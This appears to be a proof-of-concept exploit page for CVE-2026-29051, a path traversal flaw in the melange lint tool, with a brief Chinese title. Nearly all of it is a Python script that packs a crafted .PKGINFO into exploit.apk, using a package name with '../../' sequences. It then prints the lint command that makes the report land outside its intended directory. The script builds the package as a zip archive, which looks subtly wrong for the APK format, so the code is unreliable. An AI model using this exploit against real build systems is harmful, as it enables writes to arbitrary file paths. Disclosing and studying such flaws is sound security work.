CVE-2026-29051: melange lint路径遍历漏洞

# PoC for CVE-2026-29051: melange Path Traversal # This script generates a malicious APK with a crafted .PKGINFO file. import zipfile def generate_malicious_apk(filename): # The malicious package name containing path traversal sequences # This attempts to write the lint report to the parent directory pkginfo_content = """pkgname=../../tmp/malicious_lint_result pkgver=1.0.0 pkgdesc=PoC APK arch=x86_64 """ with zipfile.ZipFile(filename, 'w') as zf: # Write the crafted .PKGINFO into the APK zf.writestr('.PKGINFO', pkginfo_content) # Add a dummy file to make the structure valid zf.writestr('dummy.txt', 'content') print(f"[+] Created {filename}") print(f"[+] Run: melange lint --persist-lint-results {filename}") print(f"[+] Expected result: Attempts to write to ../../tmp/malicious_lint_result-lint-1.0.0-r0.json") if __name__ == "__main__": generate_malicious_apk('exploit.apk')